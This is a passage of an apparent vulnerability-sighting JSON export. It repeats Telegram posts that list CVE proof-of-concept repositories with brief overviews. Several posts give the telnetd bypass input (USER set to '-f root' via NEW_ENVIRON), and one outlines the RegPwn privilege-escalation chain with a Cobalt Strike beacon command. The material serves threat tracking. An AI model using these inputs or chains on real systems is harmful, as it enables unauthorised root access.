Pipe\n// A vulnerability in Quest Desktop Authority allows authenticated users to remotely execute code and perform malicious operations via a named pipe, which can be mitigated by patches, firewalls, or disabling the service\n2\u20e3  CVE-2026-24002:\nRCE sandbox escape in Grist\u2011Core\n// One malicious formula can turn a spreadsheet into a\u00a0RCE beachhead...\n3\u20e3  CVE-2025-49825:\nTeleport remote authentication bypass\n// CVE-2025-49825 is a critical Teleport vulnerability allowing attackers to bypass authentication and potentially gain root access via nested SSH certificates if unpatched", "creation_timestamp": "2026-07-27T00:00:34.136193Z"}, {"uuid": "f9895897-3fcb-49c0-aa0d-00c089e6e5d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/NMliPdq6XFz_Jgn9RIGt4tIra5m-mGEswkR7DxnC7-Sc-xI", "content": "", "creation_timestamp": "2026-07-27T00:00:34.698713Z"}, {"uuid": "2074f823-a776-427d-8f3a-07c7139c28a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/zhatez/2374", "content": "https://github.com/SafeBreach-Labs/CVE-2026-24061\n\n\u0435\u0449\u0435 \u043f\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0448\u0442\u0443\u043a\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-07-27T00:01:31.164330Z"}, {"uuid": "866898c2-301a-4901-a7e8-fc316ff9fdbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17085", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.690510Z"}, {"uuid": "a59f6789-7f2c-451b-87d8-e634ac8192a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17085", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.866730Z"}, {"uuid": "a352d492-4c76-4234-a162-afcf94a5c2c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17080", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.107395Z"}, {"uuid": "4cd7cf26-b9e8-468a-abec-4fb854c73f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17069", "content": "\ud83d\udd25 Windows LPE Exploit \u2014 RegPwn (CVE-2026-24291)\n\u2694\ufe0f Registry Symlink Privilege Escalation via Accessibility Mechanism\n\n\ud83d\udccc Research / Blog\n\ud83d\udc49https://www.mdsec.co.uk/2026/03/rip-regpwn/\n\n\ud83d\udccc GitHub (Exploit)\n\ud83d\udc49https://github.com/mdsecactivebreach/RegPwn\n\n\ud83d\udccc GitHub (BOF / Cobalt Strike)\n\ud83d\udc49https://github.com/Flangvik/RegPwnBOF\n\n\ud83d\udcd6 Description\nRegPwn is a Local Privilege Escalation (LPE) vulnerability in Windows\naffecting Windows 10, Windows 11, and multiple Windows Server versions.\n\nIt was discovered and used internally by MDSec during Red Team operations\nsince early 2025, and later patched in March 2026.\n\nTracked as:\n\ud83d\udc49 CVE-2026-24291\n\n\u2699\ufe0f Vulnerability Overview\nThe issue exists in the Windows Accessibility (ATBroker / ATConfig) mechanism.\nMisconfigured registry permissions\nUser-controlled registry data copied into privileged context\nWritable HKLM registry path exposed to low-priv users\n\ud83d\udc49 Leads to arbitrary registry write as SYSTEM\nAccording to CVE:\nIncorrect permission assignment allows local privilege escalation\n\n\ud83e\udde0 Exploitation Concept\nRegistry Flow Abuse\nHKCU (User Controlled)\n        \u2193\nHKLM Session Key (Writable)\n        \u2193\nHKU\\.DEFAULT (SYSTEM Context)\n        \u2193\nSYSTEM Process Execution\n\nCore Technique\n\u2022 Registry Symlink Abuse\n\u2022 Race Condition (Oplock)\n\u2022 Accessibility Feature Trigger (osk.exe)\n\ud83d\udc49 Result:\nLow Priv User \u2192 SYSTEM Privilege\n\n\u2694\ufe0f Exploit Details\nThe exploit abuses:\n\u2022 Accessibility configuration registry keys\n\u2022 Secure Desktop behavior\n\u2022 ATbroker.exe interaction\n\u2022 osk.exe execution timing\n\ud83d\udc49 By combining:\n\u2022 Opportunistic Lock (Oplock)\n\u2022 Registry Symbolic Link\nAn attacker can redirect writes to arbitrary SYSTEM registry locations\n\n\ud83d\udca3 Practical Impact\n\u2022 Local Privilege Escalation (LPE)\n\u2022 Full SYSTEM access\n\u2022 Service ImagePath hijacking\n\u2022 Payload execution as SYSTEM\n\n\ud83e\uddec GitHub \u2014 Exploit Implementation\n\u2699\ufe0f RegPwn (Original Exploit)\n\u2022 Language: C#\n\u2022 Targets:\n   \u2022 Windows 10 / 11\n   \u2022 Windows Server 2016 / 2019 / 2022\n   \u2022 Based on blog research\n\ud83d\udc49 Direct PoC for LPE\n\n\u2694\ufe0f RegPwnBOF (Cobalt Strike BOF)\n\u2022 BOF implementation of exploit\n\u2022 Designed for post-exploitation use\n\u2022 Supports:\nbeacon> regpwn payload.exe\n\ud83d\udc49 Enables SYSTEM escalation inside C2 operations\n\n\ud83e\udde0 Red Team Insight\nReal-World Usage Flow\nInitial Access\n     \u2193\nBeacon / Agent\n     \u2193\nRegPwn Execution\n     \u2193\nSYSTEM Privilege\n     \u2193\nLateral Movement / Persistence\n\nWhy This Matters\n\u2714\ufe0f Works on multiple Windows versions\n\u2714\ufe0f Reliable LPE vector\n\u2714\ufe0f BOF integration available\n\u2714\ufe0f Useful for post-exploitation chains\n\n\ud83d\ude80 Key Takeaways\n\u2022 Accessibility features can expose privileged pathways\n\u2022 Registry permission misconfig = critical attack surface\n\u2022 Race conditions + symlink = powerful LPE combo\n\u2022 Direct integration into C2 frameworks\n\n\u26a0\ufe0f Patch Status\n\u2714\ufe0f Fixed in March 2026 Patch Tuesday\n\u2714\ufe0f Affects pre-patch Windows environments\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.358179Z"}, {"uuid": "5af247e6-ed1d-4757-bba7-672cd9cf81a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17056", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.919125Z"}, {"uuid": "dd9efcf4-d9b6-4655-acbe-230aae3051d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17051", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.148416Z"}, {"uuid": "f1d4f27f-bfe8-43d7-8334-b137361fbe04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17045", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for security research and vulnerability analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Remote Authentication Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication.\nBy sending a crafted USER environment variable (-f root) through the NEW_ENVIRON telnet option, attackers can obtain a root shell without credentials.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns Heap Out-of-Bounds Read (DoS)\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns DNS server version 1.3 can trigger a crash and denial-of-service condition.\nThe flaw occurs during DNS request processing and may lead to memory access violations.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety issue\n\n3\ufe0f\u20e3 CVE-2026-22444\n\ud83c\udfaf Apache Solr RCE / NTLM Hash Disclosure\n\n\ud83d\udd17 PoC\nhttps://github.com/dptsec/CVE-2026-22444\n\n\ud83e\udde0 Overview\nA vulnerability in Apache Solr (8.6 \u2013 9.10.0) allows attackers to trigger remote command execution or expose NTLM hashes in certain Windows standalone deployments.\nPublic PoC scripts demonstrate exploitation scenarios.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 NTLM hash leakage\n\u2022 Server compromise\n\n4\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office Security Feature Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA research PoC demonstrates how specially crafted DOCX files with embedded OLE artifacts can bypass certain security protections in Microsoft Office environments.\nThe PoC is designed primarily for EDR / AV detection testing in isolated labs.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Potential malware delivery vector\n\n5\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical vulnerability in the pac4j-jwt authentication library allows attackers to forge JWT tokens using only the public key.\nThis enables attackers to authenticate as any user, including administrators, without knowing a secret.\n\n\u2699\ufe0f Impact\n\u2022 Complete authentication bypass\n\u2022 